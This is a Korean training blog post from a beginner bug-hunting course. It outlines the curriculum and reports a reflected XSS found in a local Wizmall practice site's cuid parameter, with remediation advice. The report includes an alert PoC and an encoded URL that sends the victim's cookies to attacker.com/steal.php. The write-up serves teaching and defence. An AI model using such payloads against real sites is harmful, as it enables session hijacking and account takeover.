[KISA Academy] 2024년 버그헌팅 실습훈련 초급과정 12차
시작
실습을 먼저 하고 이론을 공부해버리는 아이러니한 상황이지만 역시 기초를 들으니 너무 좋다! 확실히 어디서 부터 시작해야하는지 알 수 있게 되었다
일단 강의는 다 들었으나 아직 들어야 하는 강의가 남아있어 한번 다 듣고 소강상태가 되면 기록을 시작할 것 같다.
이제 딱 까먹을 때 즘 다시 기록하면서 머리에 새기는 것!
버그헌팅 초급강의 목표 및 목차
버그헌팅 소개 - 강사 소개, 버그헌팅 소개
버그헌팅 소개 - 버그헌팅 프로그램 발전, 버그헌팅 프로그램 종류
버그헌팅 소개 - 취약점 공개정책, 버그헌팅 플랫폼 종류
윤리적해킹 기본 - 윤리적해킹의 중요성, 해커의 종류
버그헌팅 이해 - 취약점 리스트 정량화 산정방법, 마인드 관리
버그헌팅 초급강의 - Public 실습 - 버그헌팅 초급강의- Public 실습
웹 기본 이해 - 웹 어플리케이션 작동원리
웹 기본 이해 - 클라이언트와 서버 통신원리 이해
웹 기본 이해 - 인증,인가, 입력값 검증 등의 보안 매커니즘 이해
웹 취약점 이해 - OWASP Top 10 취약점 이해 및 공격 방법(IDOR, SQLI, XSS, CSRF, LFI/RFI/SSRF…)
웹 취약점 이해 - 웹 취약점의 영향 및 위협
웹 취약점 버그헌팅 사례 - IDOR / XSS / Path Traversal / SQLI / SSRF 버그헌팅 사례 소개
웹 취약점 버그헌팅 사례 - 자동화 도구 실습
CVE의 이해 - CVE 정의 및 목적, 이해 및 활용 , 실습
CVE 버그헌팅 사례 - 익스플로잇 코드 탐색 및 활용
CVE 버그헌팅 사례 - 최근 CVE 취약점 분석과 이해
CVE 버그헌팅 사례 - CVE 취약점 버그헌팅 사례
버그헌팅 정보수집 전략 - OSINT를 활용한 Domain 및 Sub Domain 수집
ChatGPT 버그헌팅 - 대화형 언어모델, ChatGPT 활용 추세
ChatGPT 버그헌팅, 리포트 작성 전략 - ChatGPT 버그헌팅 활용사례, 좋은 리포트란, 마크다운 사용법 등
취약점 실습 환경(Wizmall)구축과 방법 - 취약점 실습 환경(Wizmall)구축과 방법
사후 테스트
마지막 보고서 (2024-10-26)
Reflected XSS in http://127.0.0.1/wizbag.php?cuid=
개요
본 보고서는 http://127.0.0.1/wizbag.php에서 발견된 XSS (Cross-Site Scripting) 취약점에 대해 설명합니다. cuid 파라미터를 통해 공격자가 악의적인 스크립트를 주입하여 브라우저에서 실행될 수 있는 취약점이 확인되었습니다.
취약점 세부 사항
URL:
http://127.0.0.1/wizbag.php
Method:
GET
Vulnerable Parameter:
cuid
Payload:
'><script>alert(1);</script>
공격 시나리오
이 취약점은 공격자가 cuid
파라미터를 조작하여 악성 스크립트를 주입하는 것을 가능하게 합니다. 이를 통해 공격자는 피해자의 브라우저에서 임의의 자바스크립트를 실행할 수 있으며, 다음과 같은 시나리오로 공격이 가능합니다.
예를 들어, 공격자가 URL을 http://127.0.0.1/wizbag.php?cuid=%27%3E%3CscrIpt%3Ealert(1)%3B%3C/scRipt%3E
로 조작하여 피해자가 클릭하게 만들면, 피해자의 브라우저에서 alert(1)
이 실행됩니다. 이 외에도 아래와 같은 방식으로 사용자의 민감한 정보를 탈취할 수 있습니다:
- 쿠키 탈취
- 브라우저 세션 하이재킹
- 악성 사이트로 리다이렉트
PoC (Proof of Concept)
다음은 취약점을 재현하기 위한 URL입니다:
1
http://127.0.0.1/wizbag.php?cuid=%27%3E%3CscrIpt%3Ealert(1)%3B%3C/scRipt%3E
이 URL을 통해 브라우저에서 alert(1)이 실행되는 것을 확인할 수 있습니다.
로그인 세션 탈취 시나리오
- 취약점 발견 및 공격 준비
공격자가 웹 애플리케이션의 특정 페이지에서 cuid
파라미터에 XSS 페이로드를 주입하면 스크립트가 실행된다는 사실을 확인합니다.
- 악성 링크 생성
공격자는 URL
을 악성 페이로드로 수정하여 세션 쿠키를 탈취하도록 변경합니다.
예시로는 다음과 같은 링크를 만들 수 있습니다.
1
http://127.0.0.1/wizbag.php?cuid=%27%3E%3CscrIpt%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2FscRipt%3E
이렇게 만들어진 링크는 피해자가 접속 할 경우 피해자의 세션 쿠키가 attacker.com/steal.php
로 전송되게 조작합니다.
- 피해자 선정 및 세션 탈취
공격자는 피해자를 선정하여 이메일, SNS, 피싱 메시지 등을 통해 전송하여 클릭을 유도할 수 있습니다.
피해자가 링크에 들어오게 되면 세션 쿠키를 탈취하여 피해자의 세션에 접속해 로그인 없이 피해자의 계정에 접근할 수 있게 됩니다.
해결 방안
사용자 입력에 대한 HTML 및 자바스크립트 엔티티 인코딩을 수행하여 스크립트 실행을 방지합니다. 취약한 페이지에 CSP(Content Security Policy)를 적용하여 스크립트 실행을 제한합니다. XSS 필터링을 강화하거나 최신 웹 애플리케이션 방화벽(WAF)을 사용하여 악의적인 스크립트 주입을 탐지 및 차단합니다.
참조 표
|항목|상세 정보| |:—:|:—:| |발견일|2024-10-26| |취약점 유형|Reflected XSS| |위험도|CRITICAL 8.0</br>CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| |영향을 받는 URL|http://127.0.0.1/wizbag.php|
주의: 본 보고서는 보안 연구 목적으로 작성되었습니다. 제공된 정보를 이용한 모든 행위에 대한 책임은 사용자에게 있습니다.
기타
본 보고서는 해당 취약점을 확인하고 개선하기 위한 목적으로 작성되었습니다. 추가적인 질문이나 필요한 정보가 있으면 언제든지 연락해 주시기 바랍니다.